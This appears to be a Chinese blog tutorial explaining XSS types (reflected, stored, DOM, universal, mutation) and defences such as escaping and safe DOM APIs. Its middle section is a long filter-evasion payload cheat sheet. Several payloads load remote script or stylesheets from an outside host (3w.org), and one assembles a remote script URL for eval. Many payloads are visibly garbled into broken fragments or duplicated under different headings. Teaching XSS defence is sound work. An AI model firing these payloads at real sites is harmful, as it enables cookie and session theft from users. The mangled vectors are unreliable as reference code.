這一次,徹底理解XSS攻擊

Tz一號發表於2020-12-31

希望讀完本文大家徹底理解XSS攻擊,如果讀完本文還不清楚,我請你吃飯慢慢告訴你~

話不多說,我們進入正題。

一、簡述

跨站指令碼(Cross-site scripting,簡稱為:CSS, 但這會與層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆。因此,跨站指令碼攻擊縮寫為XSS)是一種網站應用程式的安全漏洞攻擊。

XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令程式碼到網頁,使使用者載入並執行攻擊者惡意製造的網頁程式。這些惡意網頁程式通常是JavaScript,但實際上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻擊成功後,攻擊者可能得到包括但不限於更高的許可權(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。

二、XSS型別

最常見的幾種分類:反射型(非持久型)XSS儲存型(持久型)XSSDOM型XSS通用型XSS突變型XSS

反射型XSS

反射型XSS只是簡單的把使用者輸入的資料從伺服器反射給使用者瀏覽器,要利用這個漏洞,攻擊者必須以某種方式誘導使用者訪問一個精心設計的URL(惡意連結),才能實施攻擊。

舉例來說,當一個網站的程式碼中包含類似下面的語句:


<?php echo "<p>hello,$_GET['user']</p>"; ?>

如果未做防範XSS,使用者名稱設為<script>alert("Tz")</script>,則會執行預設好的JavaScript程式碼。

漏洞成因

當使用者的輸入或者一些使用者可控引數未經處理地輸出到頁面上,就容易產生XSS漏洞。主要場景有以下幾種:

  • 將不可信資料插入到HTML標籤之間時;// 例如div, p, td;

  • 將不可信資料插入到HTML屬性裡時;// 例如:<div width=$INPUT></div>

  • 將不可信資料插入到SCRIPT裡時;// 例如:<script>var message = ” $INPUT “;</script>

  • 還有插入到Style屬性裡的情況,同樣具有一定的危害性;// 例如<span style=” property : $INPUT ”></span>

  • 將不可信資料插入到HTML URL裡時,// 例如:<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a>

  • 使用富文字時,沒有使用XSS規則引擎進行編碼過濾。

對於以上的幾個場景,若服務端或者前端沒有做好防範措施,就會出現漏洞隱患。

攻擊流程

反射型XSS通常出現在搜尋等功能中,需要被攻擊者點選對應的連結才能觸發,且受到XSS Auditor(chrome內建的XSS保護)、NoScript等防禦手段的影響較大,所以它的危害性較儲存型要小。

儲存型XSS

​ 儲存型(或 HTML 注入型/持久型)XSS 攻擊最常發生在由社群內容驅動的網站或 Web 郵件網站,不需要特製的連結來執行。黑客僅僅需要提交 XSS 漏洞利用程式碼(反射型XSS通常只在url中)到一個網站上其他使用者可能訪問的地方。這些地區可能是部落格評論,使用者評論,留言板,聊天室,HTML 電子郵件,wikis,和其他的許多地方。一旦使用者訪問受感染的頁,執行是自動的。

漏洞成因

​ 儲存型XSS漏洞的成因與反射型的根源類似,不同的是惡意程式碼會被儲存在伺服器中,導致其它使用者(前端)和管理員(前後端)在訪問資源時執行了惡意程式碼,使用者訪問伺服器-跨站連結-返回跨站程式碼。

攻擊流程

DOM型XSS

通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。

漏洞成因

DOM型XSS是基於DOM文件物件模型的。對於瀏覽器來說,DOM文件就是一份XML文件,當有了這個標準的技術之後,通過JavaScript就可以輕鬆的訪問DOM。當確認客戶端程式碼中有DOM型XSS漏洞時,誘使(釣魚)一名使用者訪問自己構造的URL,利用步驟和反射型很類似,但是唯一的區別就是,構造的URL引數不用傳送到伺服器端,可以達到繞過WAF、躲避服務端的檢測效果。

攻擊示例

<html>
    <head>
        <title>DOM Based XSS Demo</title>
        <script>
        function xsstest()
        {
        var str = document.getElementById("input").value;
        document.getElementById("output").innerHTML = "<img
        src='"+str+"'></img>";
        }
        </script>
    </head>
    <body>
    <div id="output"></div>
    <input type="text" id="input" size=50 value="" />
    <input type="button" value="submit" onclick="xsstest()" />
    </body>
</html>

在這段程式碼中,submit按鈕的onclick事件呼叫了xsstest()函式。而在xsstest()中,修改了頁面的DOM節點,通過innerHTML把一段使用者資料當作HTML寫入到頁面中,造成了DOM Based XSS。

通用型XSS

通用型XSS,也叫做UXSS或者Universal XSS,全稱Universal Cross-Site Scripting。

上面三種XSS攻擊的是因為客戶端或服務端的程式碼開發不嚴謹等問題而存在漏洞的目標網站或者應用程式。這些攻擊的先決條件是訪問頁面存在漏洞,但是UXSS是一種利用瀏覽器或者瀏覽器擴充套件漏洞來製造產生XSS的條件並執行程式碼的一種攻擊型別。

漏洞成因

Web瀏覽器是正在使用的最流行的應用程式之一,當一個新漏洞被發現的時候,不管自己利用還是說報告給官方,而這個過程中都有一段不小的時間,這一過程中漏洞都可能被利用於UXSS。

不僅是瀏覽器本身的漏洞,現在主流瀏覽器都支援擴充套件程式的安裝,而眾多的瀏覽器擴充套件程式可能導致帶來更多的漏洞和安全問題。因為UXSS攻擊不需要網站頁面本身存在漏洞,同時可能訪問其他安全無漏洞頁面,使得UXSS成為XSS裡危險和最具破壞性的攻擊型別之一。

漏洞案例

IE6或火狐瀏覽器擴充套件程式Adobe Acrobat的漏洞

這是一個比較經典的例子。當使用擴充套件程式時導致錯誤,使得程式碼可以執行。這是一個在pdf閱讀器中的bug,允許攻擊者在客戶端執行指令碼。構造惡意頁面,寫入惡意指令碼,並利用擴充套件程式開啟pdf時執行程式碼。tefano Di Paola 和 Giorgio Fedon在一個在Mozilla Firefox瀏覽器Adobe Reader的外掛中可利用的缺陷中第一個記錄和描述的UXSS,Adobe外掛通過一系列引數允許從外部資料來源取資料進行文件表單的填充,如果沒有正確的執行,將允許跨站指令碼攻擊。

案例詳見: Acrobat外掛中的UXSS報告

Flash Player UXSS 漏洞 – CVE-2011-2107

一個在2011年Flash Player外掛(當時的所有版本)中的缺陷使得攻擊者通過使用構造的.swf檔案,可以訪問Gmail設定和新增轉發地址。因此攻擊者可以收到任意一個被攻破的Gmail帳號的所有郵件副本(傳送的時候都會抄送份)。Adobe承認了該漏洞.

案例詳見: Flash Player UXSS 漏洞 – CVE-2011-2107報告

移動裝置也不例外,而且可以成為XSS攻擊的目標。Chrome安卓版存在一個漏洞,允許攻擊者將惡意程式碼注入到Chrome通過Intent物件載入的任意的web頁面。

安卓版Chrome瀏覽器漏洞

案例詳見: Issue 144813: Security: UXSS via com.android.browser.application_id Intent extra

突變型XSS

突變型XSS,也叫做mXSS或,全稱Mutation-based Cross-Site-Scripting。(mutation,突變,來自遺傳學的一個單詞,大家都知道的基因突變,gene mutation)

漏洞成因

然而,如果使用者所提供的富文字內容通過javascript程式碼進入innerHTML屬性後,一些意外的變化會使得這個認定不再成立:瀏覽器的渲染引擎會將本來沒有任何危害的HTML程式碼渲染成具有潛在危險的XSS攻擊程式碼。

隨後,該段攻擊程式碼,可能會被JS程式碼中的其它一些流程輸出到DOM中或是其它方式被再次渲染,從而導致XSS的執行。 這種由於HTML內容進入innerHTML後發生意外變化,而最終導致XSS的攻擊流程。

攻擊流程

​ 將拼接的內容置於innerHTML這種操作,在現在的WEB應用程式碼中十分常見,常見的WEB應用中很多都使用了innerHTML屬性,這將會導致潛在的mXSS攻擊。從瀏覽器角度來講,mXSS對三大主流瀏覽器(IE,CHROME,FIREFOX)均有影響。

mXSS種類

目前為止已知的mXSS種類,接下來的部分將分別對這幾類進行討論與說明。

  • 反引號打破屬性邊界導致的 mXSS;(該型別是最早被發現並利用的一類mXSS,於2007年被提出,隨後被有效的修復)

  • 未知元素中的xmlns屬性所導致的mXSS;(一些瀏覽器不支援HTML5的標記,例如IE8,會將article,aside,menu等當作是未知的HTML標籤。)

  • CSS中反斜線轉義導致的mXSS;(在CSS中,允許用\來對字元進行轉義,例如:property: 'v\61 lue' 表示 property:'value',其中61是字母a的ascii碼(16進位制)。\後也可以接unicode,例如:\20AC 表示 € 。正常情況下,這種轉義不會有問題。但是碰上innerHTML後,一些奇妙的事情就會發生。)

  • CSS中雙引號實體或轉義導致的mXSS;(接著上一部分,依然是CSS中所存在的問題,&quot; &#x22; &#34; 等雙引號的表示形式均可導致這類問題,)

  • CSS屬性名中的轉義所導致的mXSS;

  • 非HTML文件中的實體突變;

  • HTML文件中的非HTML上下文的實體突變;

三、XSS攻擊程式碼出現的場景

  • 普通的XSS JavaScript注入,示例如下:

    <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
    
  • IMG標籤XSS使用JavaScript命令,示例如下:

    <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
    
  • IMG標籤無分號無引號,示例如下:

    <IMG SRC=javascript:alert(‘XSS’)>
    
  • IMG標籤大小寫不敏感,示例如下:

    <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
    
  • HTML編碼(必須有分號),示例如下:

    <IMG SRC=javascript:alert(“XSS”)>
    
  • 修正缺陷IMG標籤,示例如下:

    <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
    
  • formCharCode標籤,示例如下:

    <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
    
  • UTF-8的Unicode編碼,示例如下:

    <IMG SRC=jav..省略..S')>
    
  • 7位的UTF-8的Unicode編碼是沒有分號的,示例如下:

    <IMG SRC=jav..省略..S')>
    
  • 十六進位制編碼也是沒有分號,示例如下:

    <IMG SRC=\'#\'" /span>
    
  • 嵌入式標籤,將Javascript分開,示例如下:

    <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
    
  • 嵌入式編碼標籤,將Javascript分開,示例如下:

    <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
    
  • 嵌入式換行符,示例如下:

    <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
    
  • 嵌入式回車,示例如下:

    <IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
    
  • 嵌入式多行注入JavaScript,這是XSS極端的例子,示例如下:

    <IMG SRC=\'#\'" /span>
    
  • 解決限制字元(要求同頁面),示例如下:

          <script>z=z+ ’write(“‘</script>
    
          <script>z=z+ ’<script’</script>
    
          <script>z=z+ ’ src=ht’</script>
    
          <script>z=z+ ’tp://ww’</script>
    
          <script>z=z+ ’w.shell’</script>
    
          <script>z=z+ ’.net/1.’</script>
    
          <script>z=z+ ’js></sc’</script>
    
          <script>z=z+ ’ript>”)’</script>
    
          <script>eval_r(z)</script>
    
  • 空字元,示例如下:

          perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
    
  • 空字元2,空字元在國內基本沒效果.因為沒有地方可以利用,示例如下:

          perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
    
  • Spaces和meta前的IMG標籤,示例如下:

    <IMG SRC=\'#\'"  
    
    javascript:alert(‘XSS’);”>
    
  • Non-alpha-non-digit XSS,示例如下:

    <SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
    
  • Non-alpha-non-digit XSS to 2,示例如下:

    <BODY onload!#$%&()*~+ -_.,:;?@[/|\]^`=alert(“XSS”)>
    
  • Non-alpha-non-digit XSS to 3,示例如下:

    <SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
    
  • 雙開括號,示例如下:

    <<SCRIPT>alert(“XSS”);//<</SCRIPT>
    
  • 無結束指令碼標記(僅火狐等瀏覽器),示例如下:

    <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
    
  • 無結束指令碼標記2,示例如下:

    <SCRIPT SRC=//3w.org/XSS/xss.js>
    
  • 半開的HTML/JavaScript XSS,示例如下:

    <IMG SRC=\'#\'" /span>
    
  • 雙開角括號,示例如下:

    <iframe src=http://3w.org/XSS.html <
    
  • 無單引號 雙引號 分號,示例如下:

    <SCRIPT>a=/XSS/
    alert(a.source)</SCRIPT>
    
  • 換碼過濾的JavaScript,示例如下:

      \”;alert(‘XSS’);//
    
  • 結束Title標籤,示例如下:

    </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
    
  • Input Image,示例如下:

    <INPUT SRC=\'#\'" /span>
    
  • BODY Image,示例如下:

    <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
    
  • BODY標籤,示例如下:

    <BODY(‘XSS’)>
    
  • IMG Dynsrc,示例如下:

    <IMG DYNSRC=\'#\'" /span>
    
  • IMG Lowsrc,示例如下:

    <IMG LOWSRC=\'#\'" /span>
    
  • BGSOUND,示例如下:

    <BGSOUND SRC=\'#\'" /span>
    
  • STYLE sheet,示例如下:

    <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
    
  • 遠端樣式表,示例如下:

    <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
    
  • List-style-image(列表式),示例如下:

    <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
    
  • IMG VBscript,示例如下:

    <IMG SRC=\'#\'" /STYLE><UL><LI>XSS
    
  • META連結url,示例如下:

    <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
    
  • Iframe,示例如下:

    <IFRAME SRC=\'#\'" /IFRAME>
    
  • Frame,示例如下:

    <FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
    
  • Table,示例如下:

    <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
    
  • TD,示例如下:

    <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
    
  • DIV background-image,示例如下:

    <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
    
  • DIV background-image後加上額外字元(1-32&34&39&160&8192-8&13&12288&65279),示例如下:

    <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
    
  • DIV expression,示例如下:

    <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
    
  • STYLE屬性分拆表達,示例如下:

    <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
    
  • 匿名STYLE(組成:開角號和一個字母開頭),示例如下:

    <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
    
  • STYLE background-image,示例如下:

    <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
    
  • IMG STYLE方式,示例如下:

      exppression(alert(“XSS”))’>
    
  • STYLE background,示例如下:

    <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
    
  • BASE,示例如下:

    <BASE HREF=”javascript:alert(‘XSS’);//”>
    

四、XSS 攻擊的預防

網上防範XSS攻擊的方法一搜就一大堆,但是無論方法有多少,始終是萬變不離其宗。

XSS 攻擊有兩大要素: 1. 攻擊者提交惡意程式碼。 2. 瀏覽器執行惡意程式碼。

1.預防 DOM 型 XSS 攻擊

DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 程式碼本身不夠嚴謹,把不可信的資料當作程式碼執行了。

在使用 .innerHTML、.outerHTML、document.write() 時要特別小心,不要把不可信的資料作為 HTML 插到頁面上,而應儘量使用 .textContent、.setAttribute() 等。

DOM 中的內聯事件監聽器,如 location、onclick、onerror、onload、onmouseover 等, 標籤的href屬性,JavaScript 的eval()、setTimeout()、setInterval()等,都能把字串作為程式碼執行。如果不可信的資料拼接到字串中傳遞給這些 API,很容易 產生安全隱患,請務必避免。

2.輸入過濾

如果由前端過濾輸入,然後提交到後端的話。一旦攻擊者繞過前端過濾,直接構造請求,就可以提交惡意程式碼了。

那麼,換一個過濾時機:後端在寫入資料庫前,對輸入進行過濾,然後把“安全的”內容,返回給前端。這樣是否可行呢? 我們舉一個例子,一個正常的使用者輸入了 5 < 7 這個內容,在寫入資料庫前,被轉義,變成了 5 $lt; 7。 問題是:在提交階段,我們並不確定內容要輸出到哪裡。

這裡的“並不確定內容要輸出到哪裡”有兩層含義:

  1. 使用者的輸入內容可能同時提供給前端和客戶端,而一旦經過了 escapeHTML(),客戶端顯示的內容就變成了亂碼( 5 $lt;7 )。
  2. 在前端中,不同的位置所需的編碼也不同。 當 5 $lt;7 作為 HTML 拼接頁面時,可以正常顯示:5 < 7

所以輸入過濾非完全可靠,我們就要通過“防止瀏覽器執行惡意程式碼”來防範 XSS,可採用下面的兩種方法

3.前端渲染把程式碼和資料分隔開

在前端渲染中,我們會明確的告訴瀏覽器:下面要設定的內容是文字(.innerText),還是屬性(.setAttribute),還是樣式 (.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的程式碼了。

  • Javascript:可以使用textContent或者innerText的地方,儘量不使用innerHTML;

  • query:可以使用text()得地方,儘量不使用html();

4.拼接HTML時對其進行轉義

如果拼接 HTML 是必要的,就需要採用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。

常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對於 HTML 轉義通常只有一個規則,就是把 & < > " ' / 這幾個字元轉義掉,確 實能起到一定的 XSS 防護作用,但並不完善:

這裡推薦一個前端防止XSS攻擊的外掛: js-xss,Git 3.8K 的Star和60W的周下載量證明了其強大性.

五、總結

防範 XSS 是不只是服務端的任務,需要後端和前端共同參與的系統工程。雖然很難通過技術手段完全避免XSS,但我們原則上減少漏洞的產生。

參考資源

結尾

如有疑問,可在下方留言,會第一時間進行回覆!

謝謝你願意花時間閱讀這篇文章,希望可以對你有所幫助!

我曾踏足山巔,也曾跌落谷底,兩者都讓我受益良多。個人網站:zhaohongcheng.com

相關文章